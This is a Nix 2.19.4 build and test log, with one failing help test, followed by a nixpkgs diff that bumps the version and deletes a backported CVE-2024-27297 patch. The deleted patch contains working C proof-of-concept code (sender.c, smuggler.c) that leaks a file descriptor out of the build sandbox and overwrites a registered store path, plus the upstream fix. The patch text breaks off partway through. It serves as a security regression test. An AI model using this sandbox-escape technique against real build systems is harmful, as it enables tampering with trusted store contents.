warning: you don't have Internet access; disabling some network-dependent features
  GEN    /nix/store/cskmh48jiyrc8fgjnnqkhfl9ib63h9pr-nix-2.19.4-doc/share/doc/nix/manual/index.html
@nix { "action": "setPhase", "phase": "fixupPhase" }
Running phase: fixupPhase
Moving /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/pkgconfig to /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib/pkgconfig
Patching '/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib/pkgconfig/nix-cmd.pc' includedir to output /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev
Patching '/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib/pkgconfig/nix-expr.pc' includedir to output /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev
Patching '/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib/pkgconfig/nix-main.pc' includedir to output /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev
Patching '/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib/pkgconfig/nix-store.pc' includedir to output /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix (build ID 2b531e169a37f002c9a7594d85ca0983eea8df9b)
could not find build ID of /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libboost_context.so.1.81.0, skipping
could not find build ID of /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libboost_system.so.1.81.0, skipping
could not find build ID of /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libboost_thread.so.1.81.0, skipping
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixcmd.so (build ID b74c853c2747ce3b66d1d5002a4d6d79463d10f1)
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixexpr.so (build ID ca165bdf01ba05e5da7c56c34465a8c0b11ed8a8)
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixfetchers.so (build ID 36eed454feb6c799e34e4bb3e478c9d7b6ac2d7e)
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixmain.so (build ID cec2b2a4ba42f5b5eb0496b2f1e3ddcb64760e59)
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixstore.so (build ID c04e580dd77f9a450b510efa43b97dcf2f4c26d3)
separating debug info from /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixutil.so (build ID 95b8a48c6bca4cbf4716afdd0f718708ef425dd4)
shrinking RPATHs of ELF executables and libraries in /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libboost_context.so.1.81.0
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libboost_thread.so.1.81.0
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libboost_system.so.1.81.0
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixutil.so
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixstore.so
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixmain.so
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixfetchers.so
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixexpr.so
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixcmd.so
shrinking /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix
checking for references to /build/ in /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4...
patching script interpreter paths in /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4
stripping (with command strip and flags -S -p) in  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/libexec /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin
shrinking RPATHs of ELF executables and libraries in /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev
checking for references to /build/ in /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev...
patching script interpreter paths in /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev
stripping (with command strip and flags -S -p) in  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib
shrinking RPATHs of ELF executables and libraries in /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man
checking for references to /build/ in /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man...
gzipping man pages under /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/
patching script interpreter paths in /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man
shrinking RPATHs of ELF executables and libraries in /nix/store/cskmh48jiyrc8fgjnnqkhfl9ib63h9pr-nix-2.19.4-doc
checking for references to /build/ in /nix/store/cskmh48jiyrc8fgjnnqkhfl9ib63h9pr-nix-2.19.4-doc...
patching script interpreter paths in /nix/store/cskmh48jiyrc8fgjnnqkhfl9ib63h9pr-nix-2.19.4-doc
shrinking RPATHs of ELF executables and libraries in /nix/store/gfk3vrz8frik6k32p3xhjynwdwz737hy-nix-2.19.4-debug
checking for references to /build/ in /nix/store/gfk3vrz8frik6k32p3xhjynwdwz737hy-nix-2.19.4-debug...
patching script interpreter paths in /nix/store/gfk3vrz8frik6k32p3xhjynwdwz737hy-nix-2.19.4-debug
stripping (with command strip and flags -S -p) in  /nix/store/gfk3vrz8frik6k32p3xhjynwdwz737hy-nix-2.19.4-debug/lib
rewriting symlink /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/libexec/nix/build-remote to be relative to /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4
@nix { "action": "setPhase", "phase": "installCheckPhase" }
Running phase: installCheckPhase
installcheck flags: -j16 SHELL=/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash --jobserver-style=pipe profiledir=\$\(out\)/etc/profile.d installcheck
  GEN    tests/functional/common/vars-and-functions.sh
  GEN    tests/functional/config.nix
  GEN    tests/functional/ca/config.nix
  GEN    tests/functional/dyn-drv/config.nix
  CXX    tests/functional/plugins/plugintest.o
ran test tests/functional/flakes/unlocked-override.sh... [SKIP]
ran test tests/functional/flakes/flakes.sh... [SKIP]
ran test tests/functional/flakes/circular.sh... [SKIP]
ran test tests/functional/flakes/mercurial.sh... [SKIP]
ran test tests/functional/flakes/inputs.sh... [SKIP]
ran test tests/functional/flakes/init.sh... [SKIP]
ran test tests/functional/flakes/absolute-paths.sh... [SKIP]
ran test tests/functional/flakes/follow-paths.sh... [SKIP]
ran test tests/functional/test-infra.sh... [PASS]
ran test tests/functional/init.sh... [PASS]
ran test tests/functional/flakes/absolute-attr-paths.sh... [PASS]
ran test tests/functional/flakes/flake-in-submodule.sh... [SKIP]
ran test tests/functional/fetchMercurial.sh... [SKIP]
ran test tests/functional/legacy-ssh-store.sh... [PASS]
ran test tests/functional/lang-test-infra.sh... [PASS]
ran test tests/functional/user-envs-migration.sh... [SKIP]
ran test tests/functional/flakes/run.sh... [PASS]
ran test tests/functional/flakes/check.sh... [PASS]
ran test tests/functional/flakes/bundle.sh... [PASS]
ran test tests/functional/flakes/build-paths.sh... [PASS]
ran test tests/functional/experimental-features.sh... [PASS]
ran test tests/functional/fetchGitRefs.sh... [SKIP]
ran test tests/functional/nix-collect-garbage-d.sh... [PASS]
ran test tests/functional/gc-concurrent.sh... [PASS]
ran test tests/functional/fetchGit.sh... [SKIP]
ran test tests/functional/nix-build.sh... [PASS]
ran test tests/functional/gc.sh... [PASS]
ran test tests/functional/fetchPath.sh... [PASS]
ran test tests/functional/export-graph.sh... [PASS]
ran test tests/functional/multiple-outputs.sh... [PASS]
ran test tests/functional/repair.sh... [PASS]
ran test tests/functional/fetchTree-file.sh... [PASS]
ran test tests/functional/referrers.sh... [PASS]
ran test tests/functional/substitute-with-invalid-ca.sh... [PASS]
ran test tests/functional/optimise-store.sh... [PASS]
ran test tests/functional/fetchurl.sh... [PASS]
ran test tests/functional/simple.sh... [PASS]
ran test tests/functional/tarball.sh... [PASS]
ran test tests/functional/check.sh... [PASS]
ran test tests/functional/signing.sh... [PASS]
ran test tests/functional/binary-cache.sh... [PASS]
ran test tests/functional/user-envs.sh... [PASS]
ran test tests/functional/check-refs.sh... [PASS]
ran test tests/functional/gc-runtime.sh... [PASS]
ran test tests/functional/fetchGitSubmodules.sh... [SKIP]
ran test tests/functional/fetchGitVerification.sh... [SKIP]
ran test tests/functional/nix-shell.sh... [PASS]
ran test tests/functional/secure-drv-outputs.sh... [PASS]
ran test tests/functional/readfile-context.sh... [PASS]
ran test tests/functional/flakes/search-root.sh... [PASS]
ran test tests/functional/remote-store.sh... [PASS]
ran test tests/functional/hash.sh... [PASS]
ran test tests/functional/restricted.sh... [PASS]
ran test tests/functional/gc-non-blocking.sh... [PASS]
ran test tests/functional/recursive.sh... [PASS]
ran test tests/functional/check-reqs.sh... [PASS]
ran test tests/functional/build-remote-input-addressed.sh... [PASS]
ran test tests/functional/dependencies.sh... [PASS]
ran test tests/functional/nix-channel.sh... [PASS]
ran test tests/functional/build-remote-content-addressed-fixed.sh... [PASS]
ran test tests/functional/build-remote-content-addressed-floating.sh... [PASS]
ran test tests/functional/build-remote-trustless-should-pass-3.sh... [PASS]
ran test tests/functional/pure-eval.sh... [PASS]
ran test tests/functional/nar-access.sh... [PASS]
ran test tests/functional/binary-cache-build-remote.sh... [PASS]
ran test tests/functional/eval.sh... [PASS]
ran test tests/functional/logging.sh... [PASS]
ran test tests/functional/search.sh... [PASS]
ran test tests/functional/local-store.sh... [PASS]
ran test tests/functional/config.sh... [PASS]
ran test tests/functional/filter-source.sh... [PASS]
ran test tests/functional/add.sh... [PASS]
ran test tests/functional/export.sh... [PASS]
ran test tests/functional/misc.sh... [PASS]
ran test tests/functional/dump-db.sh... [PASS]
ran test tests/functional/supplementary-groups.sh... [PASS]
ran test tests/functional/fixed.sh... [PASS]
ran test tests/functional/lang.sh... [PASS]
ran test tests/functional/brotli.sh... [PASS]
ran test tests/functional/shell.sh... [PASS]
ran test tests/functional/build-dry.sh... [PASS]
ran test tests/functional/structured-attrs.sh... [PASS]
ran test tests/functional/zstd.sh... [PASS]
ran test tests/functional/compression-levels.sh... [PASS]
ran test tests/functional/nix-copy-ssh.sh... [PASS]
ran test tests/functional/nix-copy-ssh-ng.sh... [PASS]
ran test tests/functional/function-trace.sh... [PASS]
ran test tests/functional/linux-sandbox.sh... [PASS]
ran test tests/functional/fmt.sh... [PASS]
ran test tests/functional/flakes/config.sh... [PASS]
ran test tests/functional/derivation-json.sh... [PASS]
ran test tests/functional/nix_path.sh... [PASS]
ran test tests/functional/case-hack.sh... [PASS]
ran test tests/functional/import-derivation.sh... [PASS]
ran test tests/functional/why-depends.sh... [PASS]
ran test tests/functional/post-hook.sh... [PASS]
ran test tests/functional/placeholders.sh... [PASS]
ran test tests/functional/timeout.sh... [PASS]
ran test tests/functional/repl.sh... [PASS]
ran test tests/functional/db-migration.sh... [SKIP]
ran test tests/functional/eval-store.sh... [PASS]
ran test tests/functional/ssh-relay.sh... [PASS]
ran test tests/functional/bash-profile.sh... [PASS]
ran test tests/functional/output-normalization.sh... [PASS]
ran test tests/functional/pass-as-file.sh... [PASS]
ran test tests/functional/store-info.sh... [PASS]
ran test tests/functional/selfref-gc.sh... [PASS]
ran test tests/functional/suggestions.sh... [PASS]
ran test tests/functional/path-from-hash-part.sh... [PASS]
ran test tests/functional/toString-path.sh... [PASS]
ran test tests/functional/flakes/show.sh... [PASS]
ran test tests/functional/path-info.sh... [PASS]
ran test tests/functional/read-only-store.sh... [PASS]
ran test tests/functional/help.sh... [FAIL]
    +(help.sh:1) source common.sh
    ++(common.sh:1) set -eu -o pipefail
    ++(common.sh:3) [[ -z '' ]]
    ++(common.sh:5) COMMON_SH_SOURCED=1
    ++++(common.sh:7) dirname common.sh
    +++(common.sh:7) readlink -f .
    ++(common.sh:7) source /build/source/tests/functional/common/vars-and-functions.sh
    +++(/build/source/tests/functional/common/vars-and-functions.sh:1) set -eu -o pipefail
    +++(/build/source/tests/functional/common/vars-and-functions.sh:3) [[ -z '' ]]
    +++(/build/source/tests/functional/common/vars-and-functions.sh:5) COMMON_VARS_AND_FUNCTIONS_SH_SOURCED=1
    +++(/build/source/tests/functional/common/vars-and-functions.sh:7) set +x
    +++(/build/source/tests/functional/common/vars-and-functions.sh:274) trap onError ERR
    ++(common.sh:8) [[ -n '' ]]
    +(help.sh:3) clearStore
    +(/build/source/tests/functional/common/vars-and-functions.sh:74) echo 'clearing store...'
    clearing store...
    +(/build/source/tests/functional/common/vars-and-functions.sh:75) chmod -R +w /build/nix-test/help/store
    +(/build/source/tests/functional/common/vars-and-functions.sh:76) rm -rf /build/nix-test/help/store
    +(/build/source/tests/functional/common/vars-and-functions.sh:77) mkdir /build/nix-test/help/store
    +(/build/source/tests/functional/common/vars-and-functions.sh:78) rm -rf /build/nix-test/help/var/nix
    +(/build/source/tests/functional/common/vars-and-functions.sh:79) mkdir /build/nix-test/help/var/nix
    +(/build/source/tests/functional/common/vars-and-functions.sh:80) clearProfiles
    +(/build/source/tests/functional/common/vars-and-functions.sh:69) profiles=/build/nix-test/help/test-home/.local/state/nix/profiles
    +(/build/source/tests/functional/common/vars-and-functions.sh:70) rm -rf /build/nix-test/help/test-home/.local/state/nix/profiles
    +(help.sh:7) nix-build --help
    error: command 'man nix-build' failed: No such file or directory
    ++(help.sh:7) onError
    ++(/build/source/tests/functional/common/vars-and-functions.sh:237) set +x
    help.sh: test failed at:
      main in help.sh:7
make: *** [mk/lib.mk:126: tests/functional/help.sh.test] Error 1
make: *** Waiting for unfinished jobs....
ran test tests/functional/compute-levels.sh... [PASS]
ran test tests/functional/build.sh... [PASS]
ran test tests/functional/completions.sh... [PASS]
ran test tests/functional/fetchClosure.sh... [PASS]
ran test tests/functional/test-libstoreconsumer.sh... [PASS]
ran test tests/functional/impure-derivations.sh... [PASS]
ran test tests/functional/nested-sandboxing.sh... [PASS]
ran test tests/functional/build-delete.sh... [PASS]
ran test tests/functional/impure-env.sh... [PASS]
ran test tests/functional/nix-profile.sh... [PASS]
ran test tests/functional/build-remote-trustless-should-pass-0.sh... [PASS]
ran test tests/functional/build-remote-trustless-should-pass-1.sh... [PASS]
ran test tests/functional/build-remote-trustless-should-fail-0.sh... [PASS]
ran test tests/functional/build-remote-trustless-should-pass-2.sh... [PASS]
ran test tests/functional/gc-auto.sh... [PASS]

## changes.patch
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index c45ed2ae177a..c663fb433051 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -244,11 +244,8 @@ in lib.makeExtensible (self: ({
   };

   nix_2_19 = common {
-    version = "2.19.3";
-    hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo=";
-    patches = [
-      ./patches/2_19/CVE-2024-27297.patch
-    ];
+    version = "2.19.4";
+    hash = "sha256-qXjyVmDm1SFWk1az3GWIsJ0fVG0nWet2FdldFOnUydI=";
   };

   nix_2_20 = common {
diff --git a/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch
deleted file mode 100644
index e75b7577af1e..000000000000
--- a/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch
+++ /dev/null
@@ -1,407 +0,0 @@
-From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
- <theophane.hufschmitt@tweag.io>
-Date: Mon, 12 Feb 2024 21:28:20 +0100
-Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
-
-Test that we can't leverage abstract unix domain sockets to leak file
-descriptors out of the sandbox and modify the path after it has been
-registered.
----
- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
- tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
- tests/nixos/ca-fd-leak/smuggler.c  | 66 ++++++++++++++++++++++
- tests/nixos/default.nix            |  2 +
- 4 files changed, 223 insertions(+)
- create mode 100644 tests/nixos/ca-fd-leak/default.nix
- create mode 100644 tests/nixos/ca-fd-leak/sender.c
- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
-
-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
-new file mode 100644
-index 000000000..40e57ea02
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/default.nix
-@@ -0,0 +1,90 @@
-+# Nix is a sandboxed build system. But Not everything can be handled inside its
-+# sandbox: Network access is normally blocked off, but to download sources, a
-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
-+# The detail here is not important, but in our case it means that the hash of
-+# the output has to be known beforehand. And if you know that, you get a few
-+# rights: you no longer run inside a special network namespace!
-+#
-+# Now, Linux has a special feature, that not many other unices do: Abstract
-+# unix domain sockets! Not only that, but those are namespaced using the
-+# network namespace! That means that we have a way to create sockets that are
-+# available in every single fixed-output derivation, and also all processes
-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
-+# well, the whole idea is that the output is pure, and all processes in the
-+# sandbox are killed before finalizing the output. What if we didn't need those
-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
-+# file descriptors around!
-+# This makes it possible to exfiltrate a file-descriptor with write access to
-+# $out outside of the sandbox. And that file-descriptor can be used to modify
-+# the contents of the store path after it has been registered.
-+
-+{ config, ... }:
-+
-+let
-+  pkgs = config.nodes.machine.nixpkgs.pkgs;
-+
-+  # Simple C program that sends a a file descriptor to `$out` to a Unix
-+  # domain socket.
-+  # Compiled statically so that we can easily send it to the VM and use it
-+  # inside the build sandbox.
-+  sender = pkgs.runCommandWith {
-+    name = "sender";
-+    stdenv = pkgs.pkgsStatic.stdenv;
-+  } ''
-+    $CC -static -o $out ${./sender.c}
-+  '';
-+
-+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
-+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
-+  # lives in a mount namespace where it is not! So even when this file exists
-+  # in the actual Nix store, we're capable of just modifying its contents...
-+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
-+
-+  # The abstract socket path used to exfiltrate the file descriptor
-+  socketName = "FODSandboxExfiltrationSocket";
-+in
-+{
-+  name = "ca-fd-leak";
-+
-+  nodes.machine =
-+    { config, lib, pkgs, ... }:
-+    { virtualisation.writableStore = true;
-+      nix.settings.substituters = lib.mkForce [ ];
-+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
-+    };
-+
-+  testScript = { nodes }: ''
-+    start_all()
-+
-+    machine.succeed("echo hello")
-+    # Start the smuggler server
-+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
-+
-+    # Build the smuggled derivation.
-+    # This will connect to the smuggler server and send it the file descriptor
-+    machine.succeed(r"""
-+      nix-build -E '
-+        builtins.derivation {
-+          name = "smuggled";
-+          system = builtins.currentSystem;
-+          # look ma, no tricks!
-+          outputHashMode = "flat";
-+          outputHashAlgo = "sha256";
-+          outputHash = builtins.hashString "sha256" "hello, world\n";
-+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
-+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
-+      }'
-+    """.strip())
-+
-+
-+    # Tell the smuggler server that we're done
-+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
-+
-+    # Check that the file was modified
-+    machine.succeed(r"""
-+      cat ./result
-+      test "$(cat ./result)" = "hello, world"
-+    """.strip())
-+  '';
-+
-+}
-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
-new file mode 100644
-index 000000000..75e54fc8f
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/sender.c
-@@ -0,0 +1,65 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <fcntl.h>
-+#include <errno.h>
-+#include <string.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+    assert(argc == 2);
-+
-+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+    // Set up a abstract domain socket path to connect to.
-+    struct sockaddr_un data;
-+    data.sun_family = AF_UNIX;
-+    data.sun_path[0] = 0;
-+    strcpy(data.sun_path + 1, argv[1]);
-+
-+    // Now try to connect, To ensure we work no matter what order we are
-+    // executed in, just busyloop here.
-+    int res = -1;
-+    while (res < 0) {
-+        res = connect(sock, (const struct sockaddr *)&data,
-+            offsetof(struct sockaddr_un, sun_path)
-+              + strlen(argv[1])
-+              + 1);
-+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
-+        if (errno != ECONNREFUSED) break;
-+    }
-+
-+    // Write our message header.
-+    struct msghdr msg = {0};
-+    msg.msg_control = malloc(128);
-+    msg.msg_controllen = 128;
-+
-+    // Write an SCM_RIGHTS message containing the output path.
-+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
-+    hdr->cmsg_level = SOL_SOCKET;
-+    hdr->cmsg_type = SCM_RIGHTS;
-+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
-+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
-+
-+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
-+
-+    // Write a single null byte too.
-+    msg.msg_iov = malloc(sizeof(struct iovec));
-+    msg.msg_iov[0].iov_base = "";
-+    msg.msg_iov[0].iov_len = 1;
-+    msg.msg_iovlen = 1;
-+
-+    // Send it to the othher side of this connection.
-+    res = sendmsg(sock, &msg, 0);
-+    if (res < 0) perror("sendmsg");
-+    int buf;
-+
-+    // Wait for the server to close the socket, implying that it has
-+    // received the commmand.
-+    recv(sock, (void *)&buf, sizeof(int), 0);
-+}
-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
-new file mode 100644
-index 000000000..82acf37e6
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/smuggler.c
-@@ -0,0 +1,66 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+    assert(argc == 2);
-+
-+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+    // Bind to the socket.
-+    struct sockaddr_un data;
-+    data.sun_family = AF_UNIX;
-+    data.sun_path[0] = 0;
-+    strcpy(data.sun_path + 1, argv[1]);
-+    int res = bind(sock, (const struct sockaddr *)&data,
-+        offsetof(struct sockaddr_un, sun_path)
-+        + strlen(argv[1])
-+        + 1);
-+    if (res < 0) perror("bind");
-+
-+    res = listen(sock, 1);
-+    if (res < 0) perror("listen");
-+
-+    int smuggling_fd = -1;
-+
-+    // Accept the connection a first time to receive the file descriptor.
-+    fprintf(stderr, "%s\n", "Waiting for the first connection");
-+    int a = accept(sock, 0, 0);
-+    if (a < 0) perror("accept");
-+
-+    struct msghdr msg = {0};
-+    msg.msg_control = malloc(128);
-+    msg.msg_controllen = 128;
-+
-+    // Receive the file descriptor as sent by the smuggler.
-+    recvmsg(a, &msg, 0);
-+
-+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+    while (hdr) {
-+        if (hdr->cmsg_level == SOL_SOCKET
-+          && hdr->cmsg_type == SCM_RIGHTS) {
-+
-+            // Grab the copy of the file descriptor.
-+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
-+        }
-+
-+        hdr = CMSG_NXTHDR(&msg, hdr);
-+    }
-+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
-+    close(a);
-+
-+    // Wait for a second connection, which will tell us that the build is
-+    // done
-+    a = accept(sock, 0, 0);
-+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
-+    // Write a new content to the file
-+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
-+    char * new_content = "Pwned\n";
-+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
-+    if (written_bytes != strlen(new_content)) perror("write");
-+}
-diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
-index 4459aa664..4c1cf785c 100644
---- a/tests/nixos/default.nix
-+++ b/tests/nixos/default.nix
-@@ -40,4 +40,6 @@ in
-   setuid = lib.genAttrs
-     ["i686-linux" "x86_64-linux"]
-     (system: runNixOSTestFor system ./setuid.nix);
-+
-+  ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
- }
---
-2.42.0
-
-
-From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
- <theophane.hufschmitt@tweag.io>
-Date: Tue, 13 Feb 2024 08:28:02 +0100
-Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
- registering them
-
-It is possible to exfiltrate a file descriptor out of the build sandbox
-of FODs, and use it to modify the store path after it has been
-registered.
-To avoid that issue, don't register the output of the build, but a copy
-of it (that will be free of any leaked file descriptor).
----
- src/libstore/build/local-derivation-goal.cc | 6 ++++++
- src/libutil/file-system.cc                  | 5 +++++
- src/libutil/file-system.hh                  | 7 +++++++
- 3 files changed, 18 insertions(+)
-
-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
-index a9f930773..d83c47d00 100644
---- a/src/libstore/build/local-derivation-goal.cc
-+++ b/src/libstore/build/local-derivation-goal.cc
-@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
-             [&](const DerivationOutput::CAFixed & dof) {
-                 auto & wanted = dof.ca.hash;
-
-+                // Replace the output by a fresh copy of itself to make sure
-+                // that there's no stale file descriptor pointing to it
-+                Path tmpOutput = actualPath + ".tmp";
-+                copyFile(actualPath, tmpOutput, true);
-+                renameFile(tmpOutput, actualPath);
-+
-                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
-                     .method = dof.ca.method,
-                     .hashType = wanted.type,
-diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
-index c96effff9..777f83c30 100644
---- a/src/libutil/file-system.cc
-+++ b/src/libutil/file-system.cc
-@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
-     }
- }
-
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
-+{
-+    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
-+}
-+
- void renameFile(const Path & oldName, const Path & newName)
- {
-     fs::rename(oldName, newName);
-diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
-index 4637507b3..71db7d8bc 100644
---- a/src/libutil/file-system.hh
-+++ b/src/libutil/file-system.hh
-@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
-  */
- void moveFile(const Path & src, const Path & dst);
-
-+/**
-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
-+ * with the guaranty that the destination will be “fresh”, with no stale inode
-+ * or file descriptor pointing to it).
-+ */
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
-
- /**
-  * Automatic cleanup of resources.
---
-2.42.0
-
-
-From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
- <7226587+thufschmitt@users.noreply.github.com>
-Date: Wed, 21 Feb 2024 17:32:36 +0100
-Subject: [PATCH 3/4] Fix a typo in a test comment
-
-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
----
- tests/nixos/ca-fd-leak/default.nix | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
